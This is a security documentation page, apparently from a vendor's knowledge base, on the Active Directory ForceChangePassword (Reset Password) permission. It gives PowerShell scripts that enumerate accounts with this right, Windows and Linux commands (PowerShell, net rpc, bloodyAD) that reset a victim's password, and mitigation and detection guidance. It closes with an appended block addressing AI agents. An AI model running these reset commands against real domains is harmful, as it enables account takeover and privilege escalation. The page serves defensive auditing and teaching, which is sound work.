# ForceChangePassword

## Summary

|                            |                                      |
| -------------------------- | ------------------------------------ |
| **FSProtect ACL Alias**    | ForceChangePassword                  |
| **AD Alias**               | Reset Password                       |
| **Affected Object Types**  | Users, Computers                     |
| **Exploitation Certainty** | Certain                              |
| **AD Right**               | ExtendedRight                        |
| **AD Permission Guid**     | 00299570-246d-11d0-a768-00aa006e0529 |

## Description

The `ForceChangePassword` permission allows a user to reset the passwords of other user accounts within Active Directory, facilitating efficient password management and enforcement of security policies. This allows resets without requiring the current password of the target account.

However, if misconfigured, this permission can introduce a security risk. An attacker with the `ForceChangePassword` permission can reset passwords of vulnerable accounts without the account holders' knowledge. Exploiting this vulnerability could lead to unauthorized access, privilege escalation, and persistent access within the system.

## Identification

### Powershell

#### Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate `ForceChangePassword` entries.

**1.** Find-ForceChangePassword function

```powershell
function Find-ForceChangePassword {
    [CmdletBinding()]
    param ([string]$Target = $null,[string]$SearchBase = $null,[string]$OutputPath = "ForceChangePassword.csv",[switch]$ExcludeAdmins = $false)
    Import-Module ActiveDirectory
    Write-Host "Gathering AD objects with sAMAccountName and inspecting ACLs for explicit 'User-Force-Change-Password' permissions..."
    # ACE matching criteria
    $AccessControlType   = [System.Security.AccessControl.AccessControlType]::Allow
    $ActiveDirectoryRights = [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight
    $ForceChangePasswordPermissionGuid = "00299570-246d-11d0-a768-00aa006e0529"
    # Exclusions (by SID)
    $ExcludedSIDs = @()
    if ($ExcludeAdmins) {
        Write-Host "Excluding default administrative groups and built-in accounts."
        $ExcludedSIDs += (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\SYSTEM").Translate([System.Security.Principal.SecurityIdentifier]),(New-Object System.Security.Principal.NTAccount "NT AUTHORITY\SELF").Translate([System.Security.Principal.SecurityIdentifier]),
                         (New-Object System.Security.Principal.NTAccount "BUILTIN\Account Operators").Translate([System.Security.Principal.SecurityIdentifier]),(New-Object System.Security.Principal.NTAccount "BUILTIN\Administrators").Translate([System.Security.Principal.SecurityIdentifier]),
                         (New-Object System.Security.Principal.NTAccount "NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS").Translate([System.Security.Principal.SecurityIdentifier])
        # Creator Owner
        $ExcludedSIDs += [System.Security.Principal.SecurityIdentifier]::new("S-1-3-0")
        try {
            $ExcludedSIDs += (Get-ADGroup -Identity "Domain Admins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Enterprise Admins").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Schema Admins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Cert Publishers").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "Group Policy Creator Owners").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Domain Controllers").SID;
            $ExcludedSIDs += (Get-ADGroup -Identity "Key Admins").SID;$ExcludedSIDs += (Get-ADGroup -Identity "Enterprise Key Admins").SID
            $ExcludedSIDs += (Get-ADGroup -Identity "DnsAdmins").SID; $ExcludedSIDs += (Get-ADGroup -Identity "RAS and IAS Servers").SID
        } catch {
            Write-Warning "Could not resolve one or more default domain admin groups. They might not be filtered from results."
        }
    }
    $foundAcls = @()
    $objectsToScan = @()
    try {
        if ($Target) {
            Write-Host "Searching for a specific object by sAMAccountName/CN/DN: '$Target'."
            # Try direct identity first (DN/Guid/SID), fallback to sAMAccountName search
            try {
                $obj = Get-ADObject -Identity $Target -Properties sAMAccountName,nTSecurityDescriptor,objectClass -ErrorAction Stop
                if ($obj) { $objectsToScan += $obj }
            } catch {
                $ldapFilter = "(|(sAMAccountName=$Target)(cn=$Target))"
                $searchParams = @{
                    LDAPFilter  = $ldapFilter
                    Properties  = "sAMAccountName","nTSecurityDescriptor","objectClass"
                    ErrorAction = "Stop"
                }
                if ($SearchBase) { $searchParams.SearchBase = $SearchBase }
                $fallback = Get-ADObject @searchParams
                if ($fallback) {
                    $objectsToScan += $fallback
                } else {
                    Write-Output "Object '$Target' not found."
                    return
                }
            }
        } else {
            # All objects with sAMAccountName
            $ldapFilter = "(&(sAMAccountName=*)(|(objectClass=user)(objectClass=computer)(objectClass=group)(objectClass=inetOrgPerson)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-ManagedServiceAccount)))"
            $adObjParams = @{
                LDAPFilter  = $ldapFilter
                Properties  = "sAMAccountName","nTSecurityDescriptor","objectClass"
                ErrorAction = "Stop"
            }
            if ($SearchBase) {
                $adObjParams.SearchBase = $SearchBase
                Write-Host "Searching within '$SearchBase' for objects with sAMAccountName."
            } else {
                $adObjParams.SearchBase = (Get-ADRootDSE).DefaultNamingContext
                Write-Host "Searching the entire domain for objects with sAMAccountName."
            }
            $objectsToScan = Get-ADObject @adObjParams
        }
        if (-not $objectsToScan) {
            Write-Output "No directory objects with sAMAccountName found matching the criteria."
            return
        }
        foreach ($obj in $objectsToScan) {
            $dn   = $obj.DistinguishedName
            $sam  = $obj.sAMAccountName
          if ($obj.objectClass -is [array]) {$oc = $obj.objectClass[-1]} else {$oc = $obj.objectClass}
            try {
                $acl = Get-Acl -Path "AD:$dn"
                foreach ($ace in $acl.Access) {
                    $isExcluded = $false
                    if ($ExcludeAdmins) {
                        try {
                            if ($ExcludedSIDs -contains $ace.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier])) {
                                $isExcluded = $true
                            }
                        } catch {
                            Write-Warning "Could not translate SID for exclusion check: $($ace.IdentityReference.Value). Error: $($_.Exception.Message)"
                        }
                    }
                    # Match: Allowed, ExtendedRight, ObjectType equals the Force-Change-Password GUID, explicit (non-inherited)
                    if ($ace.AccessControlType -eq $AccessControlType -and
                        ($ace.ActiveDirectoryRights -band $ActiveDirectoryRights) -and
                        ($ace.ObjectType -eq $ForceChangePasswordPermissionGuid) -and
                        -not $ace.IsInherited -and
                        -not $isExcluded) {

                        $foundAcls += [PSCustomObject]@{
                            'Object DN'          = $dn
                            'ObjectClass'        = $oc
                            'sAMAccountName'     = $sam
                            'Internal Threat'    = $ace.IdentityReference.Value
                            'Extended Right GUID' = $ace.ObjectType
                        }
                    }
                }
            } catch {
                Write-Warning "Could not retrieve ACL for '$dn': $($_.Exception.Message)"
            }
        }
    } catch {
        Write-Error "Failed to retrieve Active Directory objects: $($_.Exception.Message)"
        return
    }
    if ($foundAcls.Count -gt 0) {
        $exclusionMessage = if ($ExcludeAdmins) { " (excluding default admin groups and built-in accounts)" } else { "" }
        Write-Host "Found $($foundAcls.Count) object(s) with explicit 'User-Force-Change-Password' extended right$exclusionMessage."
        try {
            $foundAcls |
                Sort-Object -Unique 'Object DN','Internal Threat' |
                Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
            Write-Output "Results exported successfully to '$OutputPath'"
        } catch {
            Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"
        }
    } else {
        $exclusionMessage = if ($ExcludeAdmins) { " (excluding default admin groups and built-in accounts)" } else { "" }
        Write-Output "No AD objects found with explicit 'User-Force-Change-Password' extended right$exclusionMessage."
    }
}
```

**2.** Scan all user objects in the domain

```powershell
Find-ForceChangePassword
```

**3.** Scan a specific object

```powershell
Find-ForceChangePassword -Target "CN=da,CN=Users,DC=forestall,DC=labs"
```

**4.** To exclude default admin ACLs to improve visibility

```powershell
Find-ForceChangePassword -ExcludeAdmin
```

**5.** Using SearchBase to limit the searching scope

```powershell
Find-ForceChangePassword -SearchBase "CN=Users,DC=Forestall,DC=Labs"
```

#### .NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate `ForceChangePassword` entries without relying on any external modules or dependencies.

**1.** Find-ForceChangePasswordSimple function

```powershell
function Find-ForceChangePasswordSimple {
    [CmdletBinding()]
    param ( [string]$Target = $null,[string]$OutputPath = "ForceChangePassword.csv")
    $ForceChangeGuid = [Guid]"00299570-246d-11d0-a768-00aa006e0529"
    if ($Target) {
        Write-Verbose "Binding directly to target: $Target"
        try {
            $entries = @([ADSI]"LDAP://$Target")
        }
        catch {
            Write-Error "Failed to bind to target '$Target': $_"
            return
        }
    }
    else {
        try {
            $root      = [ADSI]"LDAP://RootDSE"
            $baseDN    = $root.defaultNamingContext
            $searcher  = New-Object System.DirectoryServices.DirectorySearcher
            $searcher.SearchRoot = [ADSI]"LDAP://$baseDN"
            $searcher.Filter     = "(&(sAMAccountName=*)(|(objectClass=user)(objectClass=computer)(objectClass=group)(objectClass=inetOrgPerson)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-ManagedServiceAccount)))"
            $searcher.PageSize   = 1000
            $searcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
            $searcher.PropertiesToLoad.Add("sAMAccountName")    | Out-Null
            $hits = $searcher.FindAll()
            $entries = foreach ($hit in $hits) {
                try { $hit.GetDirectoryEntry() } catch { continue }
            }
        }
        catch {
            Write-Error "LDAP enumeration failed: $_"
            return
        }
    }
    $found = @()
    foreach ($entry in $entries) {
        try {
            $dn  = $entry.Properties["distinguishedName"][0]
            $sam = $entry.Properties["sAMAccountName"][0]
        } catch {
            Write-Warning "Could not extract DN or sAMAccountName: $_"
            continue
        }
        Write-Verbose "Inspecting ACLs on: $dn ($sam)"
        try {
            $acl  = $entry.ObjectSecurity
            $aces = $acl.GetAccessRules($true, $true, [System.Security.Principal.SecurityIdentifier])
        }
        catch {
            Write-Warning "Could not read ACL on '$dn': $_"
            continue
        }
        foreach ($ace in $aces) {
            if (
                $ace.AccessControlType       -eq [System.Security.AccessControl.AccessControlType]::Allow -and
                ($ace.ActiveDirectoryRights -band [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight) -and
                ($ace.ObjectType -eq $ForceChangeGuid) -and
                -not $ace.IsInherited
            ) {
                $who = try {
                    $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value
                } catch {
                    $ace.IdentityReference.Value
                }
                $found += [pscustomobject]@{
                    "Vulnerable User DN"  = $dn
                    "Vulnerable SAM"      = $sam
                    "Internal Threat"     = $who
                }
            }
        }
    }
    if ($found.Count -gt 0) {
        $found | Sort-Object -Property "Vulnerable SAM","Internal Threat" -Unique |
            Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
        Write-Host "Exported $($found.Count) entr$(if($found.Count -eq 1){'y'}else{'ies'}) to $OutputPath"
    }
    else {
        Write-Host "No ForceChangePassword ACEs found."
    }
}
```

**2.** Scan all user objects in the domain

```powershell
Find-ForceChangePasswordSimple
```

**3.** Scan a specific object

```powershell
Find-ForceChangePasswordSimple -Target "CN=da,CN=Users,DC=forestall,DC=labs"
```

### Active Directory Users and Computers

**1.** Open `Active Directory Users and Computers` on your Windows server.

**2.** Right-click on the User name.

**3.** Select Properties from the context menu.

**4.** In the Properties window, navigate to the Security tab.

**5.** Click on the Advanced button to open the Advanced Security Settings dialog.

**6.** In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.

**7.** Click Edit to modify the selected ACE.

**8.** In the permissions list, locate and check the option `Reset Password`.

**9.** Click OK to save your changes and close the dialogs.

![Active Directory Users and Computers](/files/KE6MRcC3sDMNY2YsZSnZ)

## Exploitation

### Windows

```powershell
$UserPassword = ConvertTo-SecureString '<New Password>' -AsPlainText -Force
Set-ADAccountPassword  -Identity '<Vulnerable User>' -NewPassword $UserPassword
```

Example:

```powershell
$UserPassword = ConvertTo-SecureString 'Test123.!' -AsPlainText -Force
Set-ADAccountPassword  -Identity 'AVIS_DURAN' -NewPassword $UserPassword
```

![Change Password Powershell](/files/T5cD2A2ZFiNZWyb8S7Fd)

### Linux

#### Using a UNIX-like system with net, a tool for administering Samba and CIFS/SMB clients

```bash
net rpc password "<targetuser>" -U "<domain>"/"<user>"%'<pass>' -S "<dchost>"
```

Example:

```bash
net rpc password "john" -U "forestall.labs"/"adam"%"Temp123!" -S FSDC01.forestall.labs
```

![Change Password net](/files/bYdg71rmjcti2qel20cE)

#### Using bloodAD

```bash
bloodyAD --host <dchost> -d <domain> -u <user> -p '<pass>' set password <targetuser> '<newpass>'
```

Example:

```bash
bloodyAD --host FSDC01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' set password john 'Temp123!'
```

![Change Password BloodyAD](/files/bYdg71rmjcti2qel20cE)

## Mitigation

Access Control Entries identified as unauthorized should be removed by following the steps below.

**1.** Open `Active Directory Users and Computers`, and activate `Advanced Features` option.

**2.** Double click the affected user and open `Security` tab.

**3.** In this tab, click the `Advanced` button and open the unauthorized Access Control Entry.

**4.** Remove the `Reset Password` right.

**5.** Click OK and Apply to save changes.

![Active Directory Users and Computers](/files/KE6MRcC3sDMNY2YsZSnZ)

## Detection

Adding new Access Control Entries (ACEs) to Active Directory objects modifies the ntSecurityDescriptor attribute. These changes can be detected with Event IDs 5136 and 4662 to identify potentially malicious modifications.

| Event ID | Description                                         | Fields/Attributes               | References                                                                                                                     |
| -------- | --------------------------------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| 5136     | A directory service object was modified.            | ntSecurityDescriptor            | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136>                                     |
| 4662     | An operation was performed on an object.            | AccessList, AccessMask          | <https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662>                                     |
| 4724     | An attempt was made to reset an account's password. | TargetUserName, SubjectUserName | <https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4724> |

## References

* [ACL (Access Control List) Abuse - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/dacl/)
* [Abusing ACL Misconfigurations - Redfox Security](https://redfoxsec.com/blog/abusing-acl-misconfigurations/)
* [Abusing Active Directory ACLs & ACEs - ired.team](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
* [user-Force-Change-Password - Microsoft Docs](https://learn.microsoft.com/en-us/windows/win32/adschema/r-user-force-change-password)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/ad/forcechangepassword.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
